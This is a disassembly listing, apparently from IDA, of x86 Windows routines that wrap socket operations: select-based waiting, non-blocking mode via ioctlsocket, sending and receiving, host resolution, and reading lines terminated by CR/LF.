loc_41A7A5:				; CODE XREF: sub_41A770+26j
		mov	al, [esi+80Ch]
		test	al, al
		jnz	short loc_41A821
		call	sub_40195B
		test	al, al
		jz	short loc_41A814
		mov	edi, dword_50FC80


loc_41A7BE:				; CODE XREF: sub_41A770+A2j
		mov	eax, [esi+806h]
		lea	ecx, [esp+128h+var_11C]
		push	ecx
		mov	[esp+12Ch+var_100], eax
		push	0
		lea	edx, [esp+130h+var_104]
		push	0
		inc	eax
		push	edx
		push	eax
		mov	[esp+13Ch+var_104], 1
		mov	[esp+13Ch+var_11C], 0
		mov	[esp+13Ch+var_118], 64h
		call	edi	; select
		test	eax, eax
		jz	short loc_41A80B
		mov	ecx, [esi+806h]
		lea	eax, [esp+128h+var_104]
		push	eax
		push	ecx
		call	sub_436FF0
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41A821


loc_41A80B:				; CODE XREF: sub_41A770+84j
		call	sub_40195B
		test	al, al
		jnz	short loc_41A7BE


loc_41A814:				; CODE XREF: sub_41A770+46j
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A821:				; CODE XREF: sub_41A770+3Dj
					; sub_41A770+99j
		mov	eax, [esp+128h+arg_4]
		mov	[esp+128h+var_120], 0FFFFFFFFh
		test	eax, eax
		jz	short loc_41A844
		lea	edx, [esp+128h+var_11C]
		mov	[esp+128h+var_11C], 10h
		push	edx
		push	eax
		jmp	short loc_41A856
; ---------------------------------------------------------------------------


loc_41A844:				; CODE XREF: sub_41A770+C2j
		lea	ecx, [esp+128h+var_11C]
		lea	edx, [esp+128h+var_114]
		push	ecx
		mov	[esp+12Ch+var_11C], 10h
		push	edx


loc_41A856:				; CODE XREF: sub_41A770+D2j
		mov	eax, [esi+806h]
		push	eax
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		mov	[esp+128h+var_120], eax
		jnz	short loc_41A879
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A879:				; CODE XREF: sub_41A770+FAj
		mov	esi, [esp+128h+arg_0]
		lea	ecx, [esp+128h+var_120]
		push	ecx
		mov	ecx, esi
		call	sub_4020EA
		mov	dl, [esp+128h+arg_8]
		pop	edi
		mov	[esi+80Dh], dl
		mov	al, 1
		pop	esi
		add	esp, 120h
		retn	0Ch
sub_41A770	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A900	proc near		; CODE XREF: sub_4020EAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	edx, [eax]
		mov	[ecx+806h], edx
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		setnz	al
		mov	[ecx+80Bh], al
		retn	4
sub_41A900	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A930	proc near		; CODE XREF: sub_401960j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		mov	edx, [esp+arg_4]
		push	eax
		mov	eax, [esp+4+arg_0]
		push	0
		push	edx
		push	eax
		call	sub_401B3B
		retn	0Ch
sub_41A930	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A960	proc near		; CODE XREF: sub_401B3Bj

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 210h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		cmp	dword ptr [esi+806h], 0FFFFFFFFh
		jz	loc_41AAC4
		mov	al, [esi+80Bh]
		test	al, al
		jz	loc_41AAC4
		mov	edi, dword_50F8A4
		call	edi
		mov	ebp, eax
		mov	al, [esi+80Dh]
		test	al, al
		jnz	loc_41AA5C
		mov	ebx, [esp+220h+arg_8]
		test	ebx, ebx
		jz	loc_41AA5C
		call	sub_40195B
		test	al, al
		jz	loc_41AA5C


loc_41A9BB:				; CODE XREF: sub_41A960+F6j
		mov	eax, [esi+806h]
		mov	ecx, 1
		mov	[esp+220h+var_100], eax
		mov	[esp+220h+var_104], ecx
		mov	[esp+220h+var_204], eax
		mov	[esp+220h+var_208], ecx
		mov	[esp+220h+var_210], 0
		mov	[esp+220h+var_20C], 64h
		call	edi
		sub	eax, ebp
		cmp	eax, ebx
		ja	loc_41AAC4
		lea	eax, [esp+220h+var_210]
		lea	ecx, [esp+220h+var_208]
		push	eax
		mov	eax, [esi+806h]
		push	ecx
		lea	edx, [esp+228h+var_104]
		push	0
		inc	eax
		push	edx
		push	eax
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jz	short loc_41AA4F
		mov	edx, [esi+806h]
		lea	ecx, [esp+220h+var_208]
		push	ecx
		push	edx
		call	sub_436FF0
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	loc_41AAC4
		mov	ecx, [esi+806h]
		lea	eax, [esp+220h+var_104]
		push	eax
		push	ecx
		call	sub_436FF0
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41AA5C


loc_41AA4F:				; CODE XREF: sub_41A960+BCj
		call	sub_40195B
		test	al, al
		jnz	loc_41A9BB


loc_41AA5C:				; CODE XREF: sub_41A960+39j
					; sub_41A960+48j ...
		call	sub_40195B
		test	al, al
		jz	short loc_41AAC4
		mov	edx, [esp+220h+arg_4]
		mov	eax, [esp+220h+arg_0]
		mov	ecx, [esi+806h]
		push	0
		push	edx
		push	eax
		push	ecx
		nop
		call	near ptr 71AB615Ah
		mov	ecx, [esp+220h+arg_C]
		test	ecx, ecx
		jz	short loc_41AA91
		mov	[ecx], eax


loc_41AA91:				; CODE XREF: sub_41A960+12Dj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AAA9
		test	eax, eax
		jz	short loc_41AAA9
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 210h
		retn	10h
; ---------------------------------------------------------------------------


loc_41AAA9:				; CODE XREF: sub_41A960+134j
					; sub_41A960+138j
		call	near ptr 71AB94DCh
		nop
		pop	edi
		cmp	eax, 2733h
		pop	esi
		pop	ebp
		setz	al
		pop	ebx
		add	esp, 210h
		retn	10h
; ---------------------------------------------------------------------------


loc_41AAC4:				; CODE XREF: sub_41A960+13j
					; sub_41A960+21j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 210h
		retn	10h
sub_41A960	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AB40:				; CODE XREF: ___:00401618j
		mov	eax, [ecx+806h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AB91
		mov	dl, [ecx+80Bh]
		test	dl, dl
		jz	short loc_41AB91
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	0
		push	ecx
		push	edx
		push	eax
		call	near ptr 71AB428Ah
		nop
		mov	ecx, [esp+0Ch]
		test	ecx, ecx
		jz	short loc_41AB72
		mov	[ecx], eax


loc_41AB72:				; CODE XREF: ___:0041AB6Ej
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AB80
		test	eax, eax
		jz	short loc_41AB80
		mov	al, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41AB80:				; CODE XREF: ___:0041AB75j
					; ___:0041AB79j
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		setz	al
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41AB91:				; CODE XREF: ___:0041AB49j
					; ___:0041AB53j
		xor	al, al
		retn	0Ch
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41ABC0:				; CODE XREF: ___:004019B0j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+10h], esi
		call	sub_40195B
		test	al, al
		jnz	short loc_41ABDC
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41ABDC:				; CODE XREF: ___:0041ABD2j
		mov	al, [esi+80Bh]
		xor	ebx, ebx
		cmp	al, bl
		jnz	short loc_41ABF2


loc_41ABE8:				; CODE XREF: ___:0041AC2Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41ABF2:				; CODE XREF: ___:0041ABE6j
		mov	eax, [esp+1Ch]
		mov	ebp, [esp+18h]
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		mov	[ebp+0], bl
		mov	byte ptr [esp+18h], 1
		jle	short loc_41AC56
		mov	edi, ebp


loc_41AC0B:				; CODE XREF: ___:0041AC54j
		cmp	edi, ebx
		jz	short loc_41AC56
		cmp	[esp+18h], bl
		jz	short loc_41AC56
		call	sub_40195B
		test	al, al
		jz	short loc_41AC56
		mov	ecx, [esp+10h]
		push	ebx
		push	1
		push	edi
		call	sub_401960
		test	al, al
		jz	short loc_41ABE8
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41AC41
		cmp	al, 0Dh
		jz	short loc_41AC41
		cmp	al, bl
		jnz	short loc_41AC49


loc_41AC41:				; CODE XREF: ___:0041AC37j
					; ___:0041AC3Bj
		mov	[esi+ebp-1], bl
		mov	[esp+18h], bl


loc_41AC49:				; CODE XREF: ___:0041AC3Fj
		mov	ecx, [esp+1Ch]
		inc	esi
		inc	edi
		lea	eax, [ecx-1]
		cmp	esi, eax
		jl	short loc_41AC0B


loc_41AC56:				; CODE XREF: ___:0041AC07j
					; ___:0041AC0Dj ...
		mov	edx, [esp+1Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	[edx+ebp-1], bl
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41ACA0:				; CODE XREF: ___:00402180j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+10h], esi
		call	sub_40195B
		test	al, al
		jnz	short loc_41ACBC
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41ACBC:				; CODE XREF: ___:0041ACB2j
		mov	al, [esi+80Bh]
		xor	ebx, ebx
		cmp	al, bl
		jnz	short loc_41ACD2


loc_41ACC8:				; CODE XREF: ___:0041AD0Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41ACD2:				; CODE XREF: ___:0041ACC6j
		mov	eax, [esp+1Ch]
		mov	ebp, [esp+18h]
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		mov	[ebp+0], bl
		mov	byte ptr [esp+18h], 1
		jle	short loc_41AD3D
		mov	edi, ebp


loc_41ACEB:				; CODE XREF: ___:0041AD3Bj
		cmp	edi, ebx
		jz	short loc_41AD3D
		cmp	[esp+18h], bl
		jz	short loc_41AD3D
		call	sub_40195B
		test	al, al
		jz	short loc_41AD3D
		mov	ecx, [esp+10h]
		push	ebx
		push	1
		push	edi
		call	sub_401960
		test	al, al
		jz	short loc_41ACC8
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41AD1D
		cmp	al, bl
		jnz	short loc_41AD30


loc_41AD1D:				; CODE XREF: ___:0041AD17j
		cmp	byte ptr [esi+ebp-1], 0Dh
		jnz	short loc_41AD2A
		mov	[esi+ebp-1], bl
		jmp	short loc_41AD2C
; ---------------------------------------------------------------------------


loc_41AD2A:				; CODE XREF: ___:0041AD22j
		mov	[edi], bl


loc_41AD2C:				; CODE XREF: ___:0041AD28j
		mov	[esp+18h], bl


loc_41AD30:				; CODE XREF: ___:0041AD1Bj
		mov	ecx, [esp+1Ch]
		inc	esi
		inc	edi
		lea	eax, [ecx-1]
		cmp	esi, eax
		jl	short loc_41ACEB


loc_41AD3D:				; CODE XREF: ___:0041ACE7j
					; ___:0041ACEDj ...
		mov	edx, [esp+1Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	[edx+ebp-1], bl
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AD80:				; CODE XREF: ___:00401082j
		push	esi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41AD92
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AD92:				; CODE XREF: ___:0041AD8Aj
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41ADA3
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41ADA3:				; CODE XREF: ___:0041AD9Bj
		mov	ecx, [esp+0Ch]
		mov	edx, [esp+8]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AB951Eh
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41ADD0	proc near		; CODE XREF: sub_401893j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41ADE2
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41ADE2:				; CODE XREF: sub_41ADD0+Aj
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41ADF3
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41ADF3:				; CODE XREF: sub_41ADD0+1Bj
		mov	ecx, [esp+4+arg_4]
		mov	edx, [esp+4+arg_0]
		push	ecx
		push	edx
		push	eax
		call	near ptr 71AC0B50h
		nop
		pop	esi
		retn	8
sub_41ADD0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AE20:				; CODE XREF: ___:00401C3Fj
		sub	esp, 10Ch
		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		mov	al, [esi+80Ch]
		cmp	al, cl
		mov	eax, [esi+806h]
		jnz	short loc_41AE5F
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AE55
		cmp	[esi+80Bh], cl
		jz	short loc_41AE55
		mov	eax, 1
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AE55:				; CODE XREF: ___:0041AE3Ej
					; ___:0041AE46j
		xor	eax, eax
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AE5F:				; CODE XREF: ___:0041AE39j
		lea	edx, [esp+4]
		mov	[esp+10h], eax
		push	edx
		lea	edx, [esp+10h]
		push	ecx
		push	edx
		inc	eax
		push	ecx
		push	eax
		mov	dword ptr [esp+20h], 1
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jnz	short loc_41AE95
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AE95:				; CODE XREF: ___:0041AE89j
		mov	ecx, [esi+806h]
		lea	eax, [esp+0Ch]
		push	eax
		push	ecx
		call	sub_436FF0
; ---------------------------------------------------------------------------
		test	eax, eax
		setnz	al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AEF0:				; CODE XREF: ___:004016E5j
		sub	esp, 10Ch
		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		cmp	[esi+80Ch], cl
		jnz	short loc_41AF0D
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AF0D:				; CODE XREF: ___:0041AF01j
		mov	eax, [esi+806h]
		lea	edx, [esp+4]
		push	edx
		lea	edx, [esp+10h]
		mov	[esp+14h], eax
		push	edx
		push	ecx
		inc	eax
		push	ecx
		push	eax
		mov	dword ptr [esp+20h], 1
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		call	near ptr 71AB2DC0h
		nop
		test	eax, eax
		jnz	short loc_41AF49
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AF49:				; CODE XREF: ___:0041AF3Dj
		mov	ecx, [esi+806h]
		lea	eax, [esp+0Ch]
		push	eax
		push	ecx
		call	sub_436FF0
; ---------------------------------------------------------------------------
		test	eax, eax
		setnz	al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AF90:				; CODE XREF: ___:0040173Aj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, ecx
		push	800h
		lea	edx, [esi+6]
		mov	ax, [edi+4]
		lea	ecx, [edi+6]
		push	ecx
		push	edx
		mov	[esi+4], ax
		call	near ptr 77C47A90h
		nop
		xor	al, al
		add	esp, 0Ch
		mov	dword ptr [esi+806h], 0FFFFFFFFh
		mov	[esi+80Ch], al
		mov	[esi+80Bh], al
		mov	al, [edi+80Dh]
		mov	[esi+80Dh], al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B000	proc near		; CODE XREF: sub_4018BBj

arg_0		= dword	ptr  4

		mov	al, byte ptr [esp+arg_0]
		test	al, al
		mov	[ecx+80Ch], al
		jz	short loc_41B030
		mov	ecx, [ecx+806h]
		lea	eax, [esp+arg_0]
		push	eax
		push	8004667Eh
		push	ecx
		mov	[esp+0Ch+arg_0], 1
		nop
		call	near ptr 71AB4519h
		retn	4
; ---------------------------------------------------------------------------


loc_41B030:				; CODE XREF: sub_41B000+Cj
		mov	eax, [ecx+806h]
		lea	edx, [esp+arg_0]
		push	edx
		push	8004667Eh
		push	eax
		mov	[esp+0Ch+arg_0], 0
		nop
		call	near ptr 71AB4519h
		retn	4
sub_41B000	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B080	proc near		; CODE XREF: sub_401186j
		push	esi
		mov	esi, ecx
		push	0
		lea	ecx, [esi+4]
		call	sub_401C35
		mov	dword ptr [esi], offset	off_43E0C0
		mov	eax, esi
		pop	esi
		retn
sub_41B080	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B0B0	proc near		; CODE XREF: ___:00401915j sub_401E74j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40186B
		test	[esp+4+arg_0], 1
		jz	short loc_41B0C8
		push	esi
		call	sub_436872
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41B0C8:				; CODE XREF: sub_41B0B0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41B0B0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B0E0	proc near		; CODE XREF: sub_40186Bj
		mov	dword ptr [ecx], offset	off_43E0C0
		add	ecx, 4
		jmp	sub_401FC8
sub_41B0E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B100	proc near		; CODE XREF: sub_401636j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	sub_40195B
		test	al, al
		jnz	short loc_41B112
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_41B112:				; CODE XREF: sub_41B100+9j
		mov	esi, [esp+8+arg_0]
		push	esi
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41B165
		push	esi
		nop
		call	near ptr 71AB4FD4h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41B137
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_41B137:				; CODE XREF: sub_41B100+2Dj
		mov	eax, [edi+0Ch]
		xor	esi, esi
		cmp	dword ptr [eax], 0
		jz	short loc_41B14C


loc_41B141:				; CODE XREF: sub_41B100+4Aj
		mov	ecx, [eax+4]
		add	eax, 4
		inc	esi
		test	ecx, ecx
		jnz	short loc_41B141


loc_41B14C:				; CODE XREF: sub_41B100+3Fj
		call	sub_401EEC
		dec	esi
		push	esi
		push	0
		call	sub_4021A3
; ---------------------------------------------------------------------------
		mov	ecx, [edi+0Ch]
		add	esp, 8
		mov	edx, [ecx+eax*4]
		mov	eax, [edx]


loc_41B165:				; CODE XREF: sub_41B100+20j
		pop	edi
		pop	esi
		retn	4
sub_41B100	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B190:				; CODE XREF: ___:00402095j
		push	0FFFFFFFFh
		push	offset loc_43ADA7
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	[esp+0Ch], ebx
		call	sub_40195B
		test	al, al
		jnz	short loc_41B1CF
		mov	eax, [esp+58h]
		mov	esi, [esp+54h]
		push	eax
		mov	ecx, esi
		call	sub_401861
		jmp	loc_41B37B
; ---------------------------------------------------------------------------


loc_41B1CF:				; CODE XREF: ___:0041B1B8j
		mov	ecx, [esp+58h]
		push	ecx
		lea	ecx, [esp+30h]
		call	sub_401861
		mov	edi, 1
		lea	ecx, [esp+2Ch]
		mov	[esp+4Ch], edi
		call	sub_4017E4
		test	eax, eax
		push	offset byte_446F20
		jnz	short loc_41B20C
		mov	esi, [esp+58h]
		mov	ecx, esi
		call	sub_401861
		mov	[esp+0Ch], edi
		jmp	loc_41B36E
; ---------------------------------------------------------------------------


loc_41B20C:				; CODE XREF: ___:0041B1F6j
		lea	ecx, [esp+30h]
		call	sub_4012EE
		test	eax, eax
		push	offset byte_446F20
		jnz	short loc_41B232
		mov	esi, [esp+58h]
		mov	ecx, esi
		call	sub_401861
		mov	[esp+0Ch], edi
		jmp	loc_41B36E
; ---------------------------------------------------------------------------


loc_41B232:				; CODE XREF: ___:0041B21Cj
		lea	ecx, [esp+18h]
		call	sub_401861
		lea	edx, [esp+10h]
		push	ebx
		push	edx
		push	ebx
		push	ebx
		push	0Fh
		lea	ecx, [esp+40h]
		mov	byte ptr [esp+60h], 2
		call	sub_4017E4
		push	eax
		call	sub_437056
; ---------------------------------------------------------------------------
		cmp	eax, ebx
		jz	short loc_41B276
		mov	esi, [esp+54h]
		lea	eax, [esp+14h]
		push	eax
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+0Ch], edi
		jmp	loc_41B360
; ---------------------------------------------------------------------------


loc_41B276:				; CODE XREF: ___:0041B25Bj
		mov	edi, [esp+10h]
		mov	esi, offset dword_4437F8
		mov	ecx, [edi]
		mov	eax, [ecx+4]


loc_41B284:				; CODE XREF: ___:0041B2A2j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_41B2A8
		cmp	cl, bl
		jz	short loc_41B2A4
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_41B2A8
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_41B284


loc_41B2A4:				; CODE XREF: ___:0041B28Ej
		xor	eax, eax
		jmp	short loc_41B2AD
; ---------------------------------------------------------------------------


loc_41B2A8:				; CODE XREF: ___:0041B28Aj
					; ___:0041B298j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41B2AD:				; CODE XREF: ___:0041B2A6j
		cmp	eax, ebx
		jz	short loc_41B31B
		push	ebp


loc_41B2B2:				; CODE XREF: ___:0041B305j
					; ___:0041B309j
		nop
		call	near ptr 2820861h
		and	eax, 0Fh
		cmp	al, 8
		jnz	short loc_41B2C6
		cmp	word ptr [edi+8], 0Fh
		jz	short loc_41B30B


loc_41B2C6:				; CODE XREF: ___:0041B2BDj
		mov	edi, [edi]
		mov	ebp, [esp+14h]
		cmp	edi, ebx
		jnz	short loc_41B2D2
		mov	edi, ebp


loc_41B2D2:				; CODE XREF: ___:0041B2CEj
		mov	eax, [edi+4]
		mov	esi, offset dword_4437F8


loc_41B2DA:				; CODE XREF: ___:0041B2F8j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_41B2FE
		cmp	cl, bl
		jz	short loc_41B2FA
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_41B2FE
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_41B2DA


loc_41B2FA:				; CODE XREF: ___:0041B2E4j
		xor	eax, eax
		jmp	short loc_41B303
; ---------------------------------------------------------------------------


loc_41B2FE:				; CODE XREF: ___:0041B2E0j
					; ___:0041B2EEj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41B303:				; CODE XREF: ___:0041B2FCj
		cmp	eax, ebx
		jnz	short loc_41B2B2
		mov	edi, ebp
		jmp	short loc_41B2B2
; ---------------------------------------------------------------------------


loc_41B30B:				; CODE XREF: ___:0041B2C4j
		mov	eax, [edi+18h]
		lea	ecx, [esp+18h]
		push	eax
		call	sub_4015D7
		pop	ebp
		jmp	short loc_41B328
; ---------------------------------------------------------------------------


loc_41B31B:				; CODE XREF: ___:0041B2AFj
		mov	ecx, [edi+18h]
		push	ecx
		lea	ecx, [esp+18h]
		call	sub_4015D7


loc_41B328:				; CODE XREF: ___:0041B319j
		push	offset byte_446F20
		lea	ecx, [esp+18h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41B348
		mov	edx, [esp+58h]
		lea	ecx, [esp+14h]
		push	edx
		call	sub_4015D7


loc_41B348:				; CODE XREF: ___:0041B338j
		mov	esi, [esp+54h]
		lea	eax, [esp+14h]
		push	eax
		mov	ecx, esi
		call	sub_4014C9
		mov	dword ptr [esp+0Ch], 1


loc_41B360:				; CODE XREF: ___:0041B271j
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+4Ch], 1
		call	sub_401226


loc_41B36E:				; CODE XREF: ___:0041B207j
					; ___:0041B22Dj
		lea	ecx, [esp+2Ch]
		mov	[esp+4Ch], bl
		call	sub_401226


loc_41B37B:				; CODE XREF: ___:0041B1CAj
		mov	ecx, [esp+44h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 44h
		retn	8
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B430:				; CODE XREF: ___:00402135j
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		push	0
		lea	ecx, [esi+15h]
		call	sub_401C35
		mov	dword ptr [esi], offset	off_43E0C4
		mov	dword ptr [esi+11h], 0
		mov	dword ptr [esi+823h], 0
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B470	proc near		; CODE XREF: sub_4013FCj ___:00402018j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401BCC
		test	[esp+4+arg_0], 1
		jz	short loc_41B488
		push	esi
		call	sub_436872
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41B488:				; CODE XREF: sub_41B470+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41B470	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B4A0	proc near		; CODE XREF: sub_401BCCj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41B4A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401FC8
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41B4A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B510:				; CODE XREF: ___:00401D3Ej
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		push	0
		lea	ecx, [esi+15h]
		call	sub_401C35
		mov	eax, [esp+8]
		mov	ecx, [esp+0Ch]
		mov	[esi+11h], eax
		mov	dword ptr [esi], offset	off_43E0C4
		mov	[esi+823h], ecx
		mov	eax, esi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



